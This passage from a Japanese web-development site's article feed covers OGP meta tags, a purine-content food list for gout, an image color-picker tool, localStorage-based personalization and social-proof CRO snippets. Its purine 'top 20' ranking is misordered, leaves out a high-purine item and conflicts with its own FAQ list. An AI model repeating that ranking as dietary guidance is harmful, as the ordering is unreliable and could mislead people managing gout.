Protocol）は、Facebookが2010年に策定したメタデータ仕様で、現在ではほぼすべてのSNSがこの仕様に対応しています。HTMLの<head>内に<meta property="og:〇〇">の形式で記述します。 必須のOGPタグ 最低限、以下の4つは必ず設定してください。 <meta property="og:title" content="ページのタイトル" /> <meta property="og:type" content="website" /> <meta property="og:url" content="https://example.com/page" /> <meta property="og:image" content="https://example.com/image.png" /> 推奨のOGPタグ 必須タグに加えて、以下のタグを設定するとSNSでの表示がより適切になります。 <meta property="og:description" content="ページの説明文（120文字以内推奨）" /> <meta property="og:site_name" content="サイト名" /> <meta property="og:locale" content="ja_JP" /> <meta property="og:image:width" content="1200" /> <meta property="og:image:height" content="630" /> <!-- Twitter専用 --> <meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:site" content="@your_account" /> OGP画像の推奨サイズと注意点 OGP画像はSNSでの視認性を大きく左右する要素です。Googleの公式ドキュメントでも、画像の幅は1200ピクセル以上が推奨されています。 項目推奨値サイズ1200 × 630 px（アスペクト比 1.91:1）最小サイズ600 × 315 pxファイル形式PNG または JPEGファイルサイズ5MB以下（軽いほど読み込みが速い） 注意点として、LINEは画像を正方形にトリミングするため、重要な情報は画像の中央に配置しましょう。端に配置したテキストやロゴが切れてしまうことがあります。 よくあるOGP設定ミスと対策 OGP設定でよく見られるミスとその対策をまとめます。これらのポイントは本ツールのチェック機能でも検出できます。 1. og:imageが未設定 画像がないとSNSでのシェア時にテキストのみの地味なカードになり、クリック率が大幅に低下します。Backlinkoの調査では、画像付きのシェアはテキストのみと比較してエンゲージメントが2倍以上になるとされています。必ず専用のOGP画像を用意しましょう。 2. og:titleが長すぎる 60文字を超えるタイトルは、多くのSNSで末尾が「…」で省略されます。特にLINEはタイトルの表示領域が狭いため、30〜40文字程度で要点が伝わるように工夫しましょう。 3. twitter:cardの設定漏れ twitter:cardを設定しないと、X（Twitter）ではデフォルトの小さいサムネイル（summary）で表示されます。記事やブログの場合はsummary_large_imageを設定して、大きい画像で表示させるのが効果的です。 4. og:urlが相対パスになっている og:urlにはhttps://から始まる絶対URLを指定する必要があります。相対パス（/page/など）を指定すると、SNSのクローラーが正しくページを認識できません。 5. 画像がHTTPのままになっている og:imageのURLがhttp://のままだと、FacebookやLINEなどのSNSが画像を読み込めないことがあります。必ずhttps://のURLを使用してください。 WordPressでのOGP設定方法 WordPressサイトでOGPを設定する方法は大きく3つあります。 方法1：SEOプラグインを使う（初心者向け） All in One SEO、Yoast SEO、Rank MathなどのSEOプラグインを使えば、管理画面からタイトル・説明文・画像を入力するだけでOGPタグが自動出力されます。コードを書く必要がないため、最も手軽な方法です。 方法2：テーマのfunctions.phpに直接記述する プラグインを増やしたくない場合は、テーマ側でOGPタグを出力する関数を作成します。wp_headアクションフックに関数を追加し、投稿タイトル・抜粋・アイキャッチ画像を取得してメタタグとして出力する方法です。 function output_ogp_tags() { if (is_singular()) { $title = get_the_title(); $description = get_the_excerpt(); $image = get_the_post_thumbnail_url(null, 'full'); echo '<meta property="og:title" content="' . esc_attr($title) . '" />' . " "; echo '<meta property="og:description" content="' . esc_attr($description) . '" />' . " "; echo '<meta property="og:image" content="' . esc_url($image) . '" />' . " "; } } add_action('wp_head', 'output_ogp_tags'); 方法3：本ツールでメタタグを生成してコピペする 静的サイトやCMSを使わない場合は、本ツールのOGP作成モードでメタタグを生成し、HTMLファイルの<head>セクションに直接貼り付けるのが最もシンプルです。 まとめ OGPの設定は「やったつもり」で済ませてしまいがちですが、SNSごとの表示差異を考慮しないと意図しない見え方になります。 ### [プリン体の多い食べ物・少ない食べ物｜食品別プリン体含有量一覧](https://codequest.work/purine-food-list/) プリン体の多い食べ物は、鶏レバー（312.2mg/100g）、干物マイワシ（305.7mg/100g）、豚レバー（284.8mg/100g）などの内臓肉・干物類です。日本痛風・核酸代謝学会の「高尿酸血症・痛風の治療ガイドライン」では、痛風・高尿酸血症の方は1日のプリン体摂取量を400mg以下に抑えることが推奨されています。 この記事では、日本痛風・核酸代謝学会の公表資料に基づき、150品目以上の食品・飲料のプリン体含有量をカテゴリ別に一覧表で紹介します。痛風や高尿酸血症の食事管理にお役立てください。 数値を調べるより、毎日の食事をアプリで自動管理したい方はこちら。 痛風管理アプリで自動計算する → プリン体の多い食べ物ランキングTOP20 全食品カテゴリから、プリン体含有量が多い順にランキングしました。300mg/100gを超える食品は「極めて多い」に分類され、痛風の方は特に注意が必要です。 順位食品名プリン体（mg/100g）分類1煮干し746.1極めて多い2鰹節493.3極めて多い3干し椎茸379.5極めて多い4鶏レバー312.2極めて多い5干物（マイワシ）305.7極めて多い6豚レバー284.8多い7大正エビ273.2多い8牛レバー219.8多い9カツオ211.4多い10マイワシ210.4多い11サンマ（干物）208.8多い12あん肝399.2極めて多い13白子305.5極めて多い14砂肝142.9中程度15豚ロース90.9少ない16マグロ157.4中程度17タラバガニ99.6少ない18納豆113.9中程度19ほうれん草51.4少ない20白米25.9極めて少ない 出典：日本痛風・核酸代謝学会「高尿酸血症・痛風の治療ガイドライン」食品中プリン体含有量（mg/100g） 【魚介類】プリン体含有量一覧 魚介類はプリン体が多いイメージがありますが、実際には種類によって大きく異なります。干物や内臓（白子・あん肝）は極めて多い一方、イカやタコは中程度〜少なめです。 プリン体の少ない魚・多い魚の見分け方 プリン体が多い魚介の特徴は「干物・内臓・赤身」です。一方、白身魚や貝類は比較的少ない傾向があります。調理法では、茹でることでプリン体が煮汁に溶出し、食べる部分のプリン体量が減少します。 食品名プリン体（mg/100g）判定煮干し746.1極めて多い鰹節493.3極めて多いあん肝（生）399.2極めて多い白子305.5極めて多い干物（マイワシ）305.7極めて多い干物（サンマ）208.8多いカツオ211.4多いマイワシ210.4多い大正エビ273.2多いマグロ（赤身）157.4中程度サーモン（生）119.3中程度鮭119.3中程度サバ122.1中程度ホタテ76.5少ない明太子159.3中程度たらこ120.7中程度しらす干し515.7極めて多いタラバガニ99.6少ないズワイガニ136.4中程度牡蠣184.5中程度いくら3.7極めて少ないうに137.3中程度スルメイカ186.8中程度タコ137.3中程度数の子21.9極めて少ないふぐ（皮）109.8中程度 意外なデータとして、いくら（3.7mg/100g）は魚卵にもかかわらずプリン体が極めて少ない食品です。一方、しらす干し（515.7mg/100g）は小魚を丸ごと食べるため非常に高くなります。 【肉類】プリン体含有量一覧 肉類のプリン体は部位によって大きく異なります。レバーなどの内臓肉は200mg/100gを超えますが、ロースやバラなどの筋肉部位は100mg/100g前後と比較的少なめです。 痛風でも食べられる肉の選び方 痛風の方が肉を選ぶ際のポイントは「内臓を避けて筋肉部位を選ぶ」ことです。鶏むね肉や豚ロースなら1食100g程度であればプリン体100mg前後に収まります。ただし量が増えれば累積するため、1日400mgの上限を意識した管理が重要です。 食品名プリン体（mg/100g）判定鶏レバー312.2極めて多い豚レバー284.8多い牛レバー219.8多い砂肝142.9中程度ホルモン（豚小腸）171.4中程度鶏ささみ153.9中程度鶏むね肉（皮なし）141.2中程度鶏もも肉122.9中程度豚ロース90.9少ない豚バラ75.8少ない牛肩ロース90.2少ない牛ヒレ98.4少ない牛タン90.4少ないベーコン61.8少ないハム（ロース）74.2少ないソーセージ（ウインナー）45.5極めて少ない 焼肉では、レバーやホルモンを避け、カルビ（バラ）やロースを選ぶとプリン体を抑えられます。ソーセージやベーコンなどの加工肉は加工過程でプリン体が減少するため、比較的少なめです。 魚介類と肉類を組み合わせると1日の合計は把握しづらくなります。痛風管理アプリなら、食べたものを選んでグラム数を入れるだけで合計プリン体量を自動計算できます。 【野菜・豆類・その他】プリン体含有量一覧 野菜・豆類は全体的にプリン体が少ない食品群です。ただし、干し椎茸や納豆など一部の食品は中程度〜多めのプリン体を含むため注意が必要です。 食品名プリン体（mg/100g）判定干し椎茸379.5極めて多い納豆113.9中程度ほうれん草51.4少ない枝豆47.9極めて少ないブロッコリー70.0少ないもやし44.7極めて少ないわかめ262.4多い豆腐（木綿）31.1極めて少ない豆腐（絹ごし）22.0極めて少ない味噌63.7少ない豆乳22.0極めて少ないきのこ（しめじ）28.0極めて少ないキャベツ13.4極めて少ないトマト3.3極めて少ないこんにゃく0極めて少ない白米25.9極めて少ないうどん21.6極めて少ないそば67.4少ないパン（食パン）15.7極めて少ない鶏卵0極めて少ないチーズ5.7極めて少ない牛乳0極めて少ない 痛風の方に特に注目されやすい納豆は113.9mg/100gで中程度です。1パック（約50g）あたり約57mgなので、1日1パック程度であれば問題ありません。豆腐・鶏卵・牛乳・チーズはプリン体が極めて少なく、良質なタンパク源として活用できます。 痛風対策の市販薬を探す 食事管理と並行して市販薬やサプリメントを検討する場合は、楽天市場で取り扱い商品を確認できます。服用の可否や併用については、医師・薬剤師に相談してください。 楽天市場で痛風の市販薬を見る 【アルコール・飲み物】プリン体含有量一覧 アルコールはプリン体含有量に関わらず、体内での尿酸産生を促進し、尿酸排泄を抑制します。そのため、プリン体ゼロのビールや蒸留酒でも飲みすぎは尿酸値上昇の原因になります。 プリン体の少ないお酒の選び方 プリン体の観点だけでいえば、蒸留酒（焼酎・ウイスキー・ブランデー）は醸造酒（ビール・日本酒・ワイン）よりプリン体が少ないです。ただし、アルコール自体が尿酸値に影響するため、日本痛風・核酸代謝学会は「種類を問わず、1日あたり日本酒1合・ビール500ml・ウイスキー60ml程度まで」としています。 飲料名プリン体（mg/100ml）備考ビール3.3〜6.9醸造酒で最も多い発泡酒2.8〜3.9ビールよりやや少ないプリン体ゼロビール0プリン体はゼロだがアルコールの影響は残る日本酒1.2〜1.5醸造酒だが意外と少ないワイン（赤）0.4醸造酒の中では少ないワイン（白）0.2赤より少ない焼酎（25%）0蒸留酒のためプリン体なしウイスキー0.1ほぼゼロブランデー0蒸留酒のためプリン体なしハイボール0〜0.1ウイスキー+炭酸水で極めて少ないレモンサワー0〜0.5焼酎ベースなら極めて少ないチューハイ0.1〜0.3製品により差がある梅酒0.2少量だが糖分に注意ホッピー0ビールテイストでプリン体ゼロノンアルコールビール0〜1.0製品により異なる ビールは350ml缶1本でプリン体約12〜24mg程度です。食品と比べると少なく見えますが、複数本飲むと累積します。プリン体ゼロビールやホッピーはプリン体の観点では優秀ですが、アルコールそのものが尿酸値を上げるため、飲み過ぎには注意が必要です。 プリン体の少ない食べ物まとめ 痛風や高尿酸血症の方が安心して食べられる、プリン体の少ない食品をまとめました。プリン体50mg/100g以下の食品を中心に、栄養バランスを意識して選ぶことが大切です。 カテゴリおすすめ食品プリン体（mg/100g）乳製品牛乳・チーズ・ヨーグルト0〜5.7卵鶏卵・うずら卵0豆腐木綿豆腐・絹ごし豆腐22.0〜31.1野菜キャベツ・トマト・にんじん3.3〜13.4穀類白米・パン・うどん15.7〜25.9魚卵いくら・数の子3.7〜21.9加工肉ソーセージ・ベーコン45.5〜61.8きのこ類しめじ・えのき（生）28.0〜49.4海藻類もずく・めかぶ2.0〜3.2こんにゃくこんにゃく・しらたき0 痛風の食事管理は「食べてはいけないもの」ではなく、「何をどれくらい食べるか」の量の管理が重要です。プリン体が中程度の食品も、量を調整すれば問題なく食べられます。 1日のプリン体摂取量の目安と計算方法 日本痛風・核酸代謝学会のガイドラインでは、痛風・高尿酸血症の方の1日のプリン体摂取量は400mg以下が推奨されています。健常者の平均的な食事では1日に約600〜800mgのプリン体を摂取しているとされ、意識的な管理が必要です。 プリン体計算の具体例 ある日の食事例でプリン体を計算してみましょう。 食事メニュー分量プリン体朝食白米+納豆+鶏卵+味噌汁米150g/納豆50g/卵1個約100mg昼食豚ロース生姜焼き+白米+サラダ豚ロース120g/米150g約150mg夕食鶏もも肉のグリル+白米+ほうれん草鶏もも150g/米150g約225mg合計約475mg この例では400mgをやや超えています。夕食の鶏もも肉を豚ロース（プリン体が少ない）に変更するだけで、合計を400mg以下に抑えられます。こうした細かい調整を毎食手計算するのは現実的ではないため、アプリによる自動計算が有効です。 よくある質問 Q. プリン体の多い食べ物ワースト10は？ 煮干し（746.1mg）、しらす干し（515.7mg）、鰹節（493.3mg）、あん肝（399.2mg）、干し椎茸（379.5mg）、鶏レバー（312.2mg）、白子（305.5mg）、干物マイワシ（305.7mg）、豚レバー（284.8mg）、大正エビ（273.2mg）の順です。すべて100gあたりの含有量です。 Q. プリン体の少ない魚は？ ホタテ（76.5mg/100g）、タラバガニ（99.6mg/100g）が代表的です。魚卵ではいくら（3.7mg/100g）と数の子（21.9mg/100g）がプリン体極めて少ない食品です。白身魚も赤身魚に比べて少ない傾向があります。 Q. 痛風でも食べていい肉は？ 豚ロース（90.9mg/100g）、牛肩ロース（90.2mg/100g）、牛タン（90.4mg/100g）、豚バラ（75.8mg/100g）などの筋肉部位は比較的プリン体が少なく、1食100g程度であれば問題ありません。レバー・ホルモンなどの内臓肉は避けましょう。 Q. アルコールでプリン体が少ないのは？ 焼酎・ウイスキー・ブランデーなどの蒸留酒はプリン体がほぼゼロです。ハイボール、ホッピーも低プリン体です。ただし、アルコール自体が尿酸値を上昇させるため、プリン体ゼロでも飲み過ぎは禁物です。 Q. プリン体の1日の摂取上限は？ 日本痛風・核酸代謝学会のガイドラインでは、痛風・高尿酸血症の方は1日400mg以下が推奨されています。健常者の平均摂取量は600〜800mg/日とされており、意識的な制限が必要です。 Q. プリン体を減らす調理法はある？ プリン体は水溶性のため、茹でることで食材から煮汁に溶出します。茹でて煮汁を捨てる調理法は、食べる部分のプリン体を20〜30%程度減らせるとされています。ただし、鍋料理のようにスープごと飲む場合は効果がないため注意が必要です。 ### [画像・写真からWEBデザイン用カラーパレットを自動生成【無料ツール】](https://codequest.work/image-color-picker/) 画像カラーピッカーとは、写真やスクリーンショットから主要な色を自動で抽出し、WEBデザイン用のカラーパレットを生成するツールです。配色をゼロから考えるのではなく、参考にしたい画像から直接色を取り出すことで、デザインの方向性を素早く決められます。 CodeQuest.workの画像カラーピッカーは、k-means++アルゴリズムで画像のピクセルデータを分析し、最大12色までの主要色を抽出します。さらに、Primary・Secondary・Accent・Text・Backgroundの5つの役割を自動で割り当て、WCAGコントラスト比の判定やCSS・Tailwind・SCSSコードの出力まで一貫して行えます。 ▶ 画像カラーピッカーを今すぐ使う こんな場面で使える WEBデザインの配色作業では、白紙の状態から色を選ぶよりも、参考となる画像から色を抽出するほうが効率的です。以下のような場面で活用できます。 参考サイトの配色分析：気になるWEBサイトのスクリーンショットから、使われている色を正確に抽出できます 写真からのムードボード作成：クライアントが「この写真のような雰囲気にしたい」と要望したとき、写真から直接カラーパレットを生成できます Tailwindのカスタムカラー設定：抽出した色をTailwind CSS設定ファイル形式でコピーし、プロジェクトにそのまま反映できます ブランドカラーの抽出：ロゴやブランドガイドラインの画像から正確なカラーコードを取得できます 配色のインスピレーション：自然の風景や製品写真から、調和のとれた色の組み合わせを発見できます 💡 画像から色を抜く前に、背景の不要な部分を消したい・被写体だけ取り出したいときは、ブラウザだけで完結するAIで背景透過・切り抜きできる無料ツールが便利です。 使い方 ステップ1：画像をアップロード ドラッグ&ドロップ、またはファイル選択で画像をアップロードします。PNG・JPG・WebPなどの主要な画像形式に対応しています。参考にしたいWEBサイトのスクリーンショットや、雰囲気を参考にしたい写真を選んでください。 ステップ2：抽出する色数を設定 スライダーで抽出する色数を3〜12の範囲で設定します。デフォルトは6色です。WEBデザインのカラーパレットとしては5〜8色が扱いやすい目安です。 ステップ3：色を抽出する 「色を抽出する」ボタンをクリックすると、k-means++アルゴリズムが画像を分析し、主要な色をクラスタリングして抽出します。各色のHEX値・RGB値と、画像内での占有率（%）が表示されます。色のスウォッチをクリックするだけでHEXコードがコピーされます。 ステップ4：WEBデザイン用パレット提案を確認 抽出した色から、ツールがWEBデザインに適した5色のパレットを自動提案します。Primary（主要色）・Secondary（補助色）・Accent（強調色）・Text（テキスト色）・Background（背景色）の5つの役割が自動で割り当てられ、WCAGコントラスト比の判定結果（Pass / Fail）も表示されます。 ステップ5：コードをコピー CSS変数・Tailwind設定・SCSS変数の3つのタブからフォーマットを選び、ワンクリックでコードをコピーできます。コピーしたコードをプロジェクトに貼り付けるだけで、抽出した配色をすぐに反映できます。 ステップ6：パレットを保存 「現在のパレットを保存」ボタンで、生成したカラーパレットをブラウザに保存できます。名前をつけて複数のパレットを管理でき、後から呼び出して比較することも可能です。 主な機能 機能詳細k-means++アルゴリズム画像のピクセルデータをクラスタリングし、主要色を正確に抽出3〜12色の抽出スライダーで色数を自由に調整可能WEBデザイン用パレット提案Primary / Secondary / Accent / Text / Backgroundの5役割を自動割り当てWCAGコントラスト判定テキスト/背景のコントラスト比をAA基準（4.5:1）で自動計算しPass/Fail表示3フォーマット出力CSS変数・Tailwind設定・SCSS変数をワンクリックでコピーライブプレビューヘッダー・ボタン・カードを使った実際のWEBページ風プレビューパレット保存ブラウザのlocalStorageに名前付きで保存・読み込み・削除クリックコピー各色のスウォッチをクリックするだけでHEXコードをコピー WEBデザインの配色で押さえるべきポイント 70:25:5の配色比率 WEBデザインの配色で広く使われているのが、70:25:5の比率です。ベースカラー（背景・余白）を70%、メインカラー（見出し・ヘッダー・ナビゲーション）を25%、アクセントカラー（CTAボタン・重要な要素）を5%で配分します。 本ツールの「WEBデザイン用パレット提案」機能は、この比率を考慮して色の役割を自動で振り分けます。画像から抽出した色の中から、彩度や明度のバランスを分析してPrimary・Secondary・Accent・Text・Backgroundの最適な組み合わせを提案します。 WCAGコントラスト比とアクセシビリティ WCAG（Web Content Accessibility Guidelines）2.0では、テキストと背景のコントラスト比について以下の基準を定めています。WEBデザインの配色を決める際は、見た目の美しさだけでなく、この基準を満たしているかどうかも重要です。 要素AA基準（最低限）AAA基準（推奨）通常テキスト4.5:1以上7:1以上大きいテキスト（18px bold / 24px以上）3:1以上4.5:1以上UI要素・アイコン3:1以上— 本ツールでは、提案パレットのテキスト色と背景色のコントラスト比を自動計算し、WCAG AA基準を満たしているかどうかをPass / Failで表示します。見た目だけでなくアクセシビリティも考慮した配色設計ができます。 彩度と明度のバランス 配色で失敗しがちなのは、彩度の高い色ばかりを使ってしまうことです。彩度の高い色は目を引きますが、多用すると視覚的に疲れるデザインになります。画像カラーピッカーでは、自然の写真や実績のあるWEBサイトのスクリーンショットから色を抽出するため、自然と調和のとれた彩度・明度のバランスが得られやすいのがメリットです。 配色の考え方そのものを体系的に押さえたいときは 色彩設計の基本 が参考になります。画像から抽出したパレットを、配色比率やコントラストの観点で見直すときの土台になります。 CSS / Tailwind / SCSSでの活用方法 ツールから出力されるコードは、そのままプロジェクトに貼り付けて使えます。以下は各フォーマットの出力例です。 CSS変数 :root { --color-primary: #2B5F8A; --color-secondary: #6A9BC7; --color-accent: #E8A735; --color-text: #1A1A2E; --color-background: #F5F5F0; } Tailwind CSS設定 module.exports = { theme: { extend: { colors: { 'primary': '#2B5F8A', 'secondary': '#6A9BC7', 'accent': '#E8A735', 'text': '#1A1A2E', 'background': '#F5F5F0', }, }, }, }; SCSS変数 $color-primary: #2B5F8A; $color-secondary: #6A9BC7; $color-accent: #E8A735; $color-text: #1A1A2E; $color-background: #F5F5F0; いずれのフォーマットも、ツール上の「Copy」ボタンをクリックするだけでクリップボードにコピーされます。Tailwind CSSの場合はtailwind.config.jsのextend.colorsにそのまま貼り付けて使えるため、カスタムカラーの設定が大幅に効率化されます。 画像カラーピッカーを使ってみる 色を拾ったあとに「色を抜いた状態」も見ておきたくなったら、画像を送らずブラウザだけで白黒にする手順にまとめています。どちらのツールも画像をサーバーへ送らないので、社外に出せない素材でもそのまま試せます。 よくある質問 Q. 対応している画像形式は？ PNG・JPG・WebPなど、ブラウザが表示できる主要な画像形式に対応しています。WEBサイトのスクリーンショットや写真など、一般的な画像ファイルであればそのまま使えます。 Q. 無料で使えますか？ はい、完全無料で利用できます。アカウント登録やログインも不要で、ブラウザ上ですぐに使い始められます。画像のアップロードもサーバーに送信されず、すべてブラウザ内で処理されます。 Q. 抽出できる色数はいくつまで？ 最小3色から最大12色まで、スライダーで自由に設定できます。WEBデザインのカラーパレットとしては5〜8色が実用的な範囲です。デフォルトは6色に設定されています。 Q. WEBデザイン用パレット提案の色はどのように選ばれていますか？ 抽出した色のHSL値（色相・彩度・明度）を分析し、彩度が最も高い中間トーンの色をPrimaryに、色相が十分に離れた色をSecondaryに、最も暗い色をText、最も明るい色をBackgroundに自動で割り当てます。WEBデザインで実用的な配色になるよう設計されています。 Q. k-means++アルゴリズムとは？ k-means++は、データを指定した数のグループ（クラスタ）に分類する機械学習アルゴリズムです。画像の全ピクセルの色をRGB空間で分析し、類似した色をグループ化して代表色を算出します。初期値の選び方を工夫した改良版（++）により、通常のk-meansよりも安定した結果が得られます。 画像カラーピッカーは、WEBデザインの配色をもっと効率的に、もっと直感的にするためのツールです。参考にしたいデザインや写真があれば、まずは画像をアップロードして配色を分析してみてください。 画像から色を拾うのではなく、色の名前や由来から探したいときは、日本の伝統色とCSSの名前付き色を引ける 色の辞書 もあわせてどうぞ。抽出した配色に、意味や物語のある色名を重ねられます。 画像カラーピッカーを使ってみる ### [Webパーソナライズの実装方法 — JavaScript＋localStorageでツール不要](https://codequest.work/personalize-guide/) Webパーソナライズとは、ユーザーの属性や行動に基づいて表示内容を動的に変更するCRO施策です。McKinseyの調査（2023年）によると、パーソナライズを実施している企業はそうでない企業と比較して売上が40%高い傾向にあります。 高度なパーソナライズにはサーバーサイドの仕組みが必要ですが、クライアントサイドのパーソナライズはJavaScriptだけで実装可能です。この記事では、コードで実現できるパーソナライズの手法と具体的な実装方法を解説します。 コードで実装できる4つのパーソナライズ 条件実装例使用技術難易度流入元Google広告からの流入者に広告連動CTAを表示URLパラメータ（utm_source）低訪問回数初回訪問者に初回限定オファーを表示localStorage低デバイスモバイルユーザーに電話CTAを表示メディアクエリ / User-Agent低閲覧履歴過去に見たカテゴリの関連コンテンツを表示localStorage + JavaScript中 流入元別のコンテンツ出し分け UTMパラメータを使って、流入元に応じたメッセージを表示します。広告のランディングページで特に効果的です。 function getUtmParam(param) { const url = new URL(window.location.href); return url.searchParams.get(param); } function personalizeBySource() { const source = getUtmParam('utm_source'); const headline = document.querySelector('.hero-headline'); const cta = document.querySelector('.hero-cta'); const config = { google: { headline: 'Google広告からお越しの方へ — 初回相談無料', cta: '無料相談を予約する' }, facebook: { headline: 'SNSで話題のサービスを体験しませんか？', cta: '無料で試してみる' } }; const personalized = config[source]; if (personalized && headline && cta) { headline.textContent = personalized.headline; cta.textContent = personalized.cta; } } personalizeBySource(); 参考: URLSearchParams - MDN Web Docs 訪問回数に応じた表示変更 初回訪問者にはサービス概要を、リピーターには直接的なCTAを表示します。 function getVisitCount() { const key = 'visit_count'; const count = Number(localStorage.getItem(key) || 0) + 1; localStorage.setItem(key, String(count)); return count; } const visitCount = getVisitCount(); if (visitCount === 1) { // 初回: サービス概要を強調 document.querySelector('.welcome-banner').style.display = 'block'; } else if (visitCount >= 3) { // 3回目以降: 直接的なCTAを表示 document.querySelector('.returning-cta').style.display = 'block'; } 参考: Web Storage API - MDN Web Docs 閲覧履歴に基づくレコメンド ユーザーが過去に閲覧したページのカテゴリを記録し、関連コンテンツを表示します。 function recordPageView(category) { const key = 'viewed_categories'; const viewed = JSON.parse(localStorage.getItem(key) || '[]'); if (!viewed.includes(category)) { const updated = [...viewed, category].slice(-10); localStorage.setItem(key, JSON.stringify(updated)); } } function getRecommendedCategory() { const viewed = JSON.parse(localStorage.getItem('viewed_categories') || '[]'); const frequency = {}; viewed.forEach(cat => { frequency[cat] = (frequency[cat] || 0) + 1; }); return Object.entries(frequency) .sort((a, b) => b[1] - a[1]) .map(entry => entry[0])[0] || null; } パーソナライズの実装を依頼する → RINIA パーソナライズの注意点 SEOへの影響: クライアントサイドのパーソナライズはJavaScriptで動的に変更するため、Googlebot にはデフォルトコンテンツが見えます。SEO上重要なテキスト（h1・メタタグ等）はサーバーサイドで出力しましょう プライバシー: localStorageはCookieと同様にユーザーのブラウザに保存されるデータです。個人を特定する情報は保存せず、カテゴリ・訪問回数など匿名情報のみを扱いましょう フォールバック: JavaScript無効環境やlocalStorage未対応ブラウザでも、デフォルトコンテンツが正常に表示されるようにしましょう よくある質問（FAQ） Q. パーソナライズに有料ツールは必要？ クライアントサイドのパーソナライズ（UTM判定、訪問回数、閲覧履歴）はJavaScriptとlocalStorageだけで実装できます。大規模なサーバーサイドパーソナライズ（ユーザーDBとの連携、リアルタイムレコメンド）には専用ツールが必要ですが、まずはクライアントサイドから始めるのが効率的です。 Q. パーソナライズはSEOに悪影響がある？ クライアントサイドのパーソナライズであれば、SEOへの影響はありません。Googlebotはデフォルトコンテンツをクロールするため、パーソナライズされた内容ではなくオリジナルのコンテンツが評価されます。ただし、h1やtitleタグをJavaScriptで書き換えるのは避けましょう。 Q. どのパーソナライズから始めるべき？ UTMパラメータを使った流入元別の表示変更から始めましょう。Google広告のランディングページで、広告の訴求内容とページのキャッチコピーを一致させるだけで、CVRが顕著に改善するケースが多いです。 Q. localStorageのデータはどのくらい保持される？ localStorageのデータはユーザーが明示的に削除するか、ブラウザのデータをクリアするまで永続的に保持されます。ただし、SafariのITP（Intelligent Tracking Prevention）ではサードパーティコンテキストのlocalStorageに7日間の制限があります。ファーストパーティ（自社ドメイン）での使用であれば制限はありません。 Q. パーソナライズの効果をどう測定する？ GA4のカスタムイベントでパーソナライズの表示パターンとCVRを紐づけて計測します。「どの流入元のユーザーに」「どのパーソナライズを表示し」「CVRがどう変化したか」をレポートで確認できます。 パーソナライズはJavaScriptで実装できる 流入元判定・訪問回数カウント・閲覧履歴レコメンドは、URLSearchParams・localStorage・Intersection ObserverなどブラウザのネイティブAPIだけで実装できます。有料パーソナライズツールは不要です。 「自社サイトに最適なパーソナライズ戦略を設計したい」「広告のランディングページを流入元別に最適化したい」という場合は、コードによるCRO実装に対応しているWeb制作チームにご相談ください。 パーソナライズの実装を相談するなら → RINIA 関連記事 ▶ まとめ: CROとは？コンバージョン率を改善する8つの手法と始め方 ▶ ABテストのやり方 — 始めるべき判断基準とコード実装方法 ▶ ソーシャルプルーフ（社会的証明）でCVRを上げる方法 ▶ localStorage・sessionStorage・Cookie・IndexedDBの使い分け ### [ソーシャルプルーフ（社会的証明）でCVRを上げる方法と実装パターン](https://codequest.work/social-proof-guide/) ソーシャルプルーフ（社会的証明）とは、他者の行動や評価を見て自分の判断の参考にする心理効果を活用したCRO施策です。BrightLocalの調査（2024年）によると、消費者の87%がオンラインレビューを購入前に確認しています。 ソーシャルプルーフの実装は静的なHTML/CSSで完結するものが大半です。この記事では、コンバージョン率を高める社会的証明の配置パターンと実装方法を解説します。 ソーシャルプルーフの6つのパターン パターン例効果が高い配置場所実装方法導入企業ロゴ「○○株式会社、△△社など500社が導入」ファーストビュー直下HTML/CSS数値実績「累計10,000ユーザー」「年間500件の制作実績」ファーストビュー内HTML/CSSお客様の声顔写真+名前+肩書き+具体的な成果CTA直前HTML/CSSメディア掲載「日経新聞、TechCrunchに掲載」ファーストビュー直下HTML/CSS評価・レビュー星評価4.8/5.0（レビュー200件）CTAボタン周辺HTML/CSS + JSON-LDリアルタイム情報「現在23人が閲覧中」「本日15件のお申し込み」CTAボタン周辺JavaScript 効果的なお客様の声の書き方 「とても良かったです」のような抽象的なレビューはCVRに影響しません。効果的なお客様の声には以下の要素が必要です。 要素弱い例強い例成果の具体性「売上が上がりました」「導入3ヶ月でCVRが2.1%→3.4%に改善」人物情報「A社 担当者」「株式会社○○ マーケティング部 田中太郎様」顔写真なし実際の顔写真（信頼性が大幅に向上）課題→解決「おすすめです」「フォーム離脱率が70%→45%に改善。以前はツールに月3万円払っていたが不要になった」 ソーシャルプルーフのコード実装 導入企業ロゴのスライダー CSSアニメーションだけで無限スクロールのロゴスライダーを実装できます。JavaScriptは不要です。 .logo-slider { overflow: hidden; white-space: nowrap; } .logo-track { display: inline-flex; animation: scroll 20s linear infinite; } .logo-track img { height: 40px; margin: 0 40px; filter: grayscale(100%); opacity: 0.6; transition: opacity 0.3s; } .logo-track img:hover { opacity: 1; } @keyframes scroll { 0% { transform: translateX(0); } 100% { transform: translateX(-50%); } } 参考: CSSアニメーション - MDN Web Docs 数値カウントアップアニメーション 「導入企業500社」などの数値を、Intersection Observerで画面に入ったタイミングでカウントアップ表示します。 function animateCounter(element, target, duration) { const start = performance.now(); function update(now) { const elapsed = now - start; const progress = Math.min(elapsed / duration, 1); const eased = 1 - Math.pow(1 - progress, 3); element.textContent = Math.floor(target * eased).toLocaleString(); if (progress < 1) { requestAnimationFrame(update); } } requestAnimationFrame(update); } const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { const el = entry.target; animateCounter(el, Number(el.dataset.count), 2000); observer.unobserve(el); } }); }); document.querySelectorAll('[data-count]').forEach(el => observer.observe(el)); 参考: Intersection Observer API - MDN Web Docs ソーシャルプルーフの実装を依頼する → RINIA よくある質問（FAQ） Q. 実績が少ない場合はどうすればいい？ 実績が少ない段階では「数字の切り口を変える」のが効果的です。「導入企業3社」ではなく「累計プロジェクト30件」「制作ページ数200ページ」のように、大きく見える切り口を選びましょう。嘘の数字は厳禁ですが、見せ方は工夫できます。 Q. お客様の声は何件掲載すべき？ 最低3件、理想は5〜8件です。1件では偶然に見え、多すぎると読まれません。業種・規模・課題の異なるバリエーションを揃えると、幅広い見込み客に「自分に近い事例」を見つけてもらえます。 Q. 「現在○人が閲覧中」の表示は効果がある？ FOMO（見逃す恐怖）を刺激するため短期的には効果がありますが、偽の数値を表示するとブランドの信頼性を損ないます。実装する場合はリアルタイムの実数を使うか、「本日○件のお問い合わせ」のような事実ベースの表現にしましょう。 Q. ソーシャルプルーフの配置で最も効果的な場所は？ CTAボタンの直前が最も効果的です。ユーザーが「申し込もうかどうか」迷っているタイミングで社会的証明を見せることで、背中を押す効果があります。ファーストビュー直下の導入ロゴ帯も、ページ全体の信頼感を底上げするのに有効です。 Q. 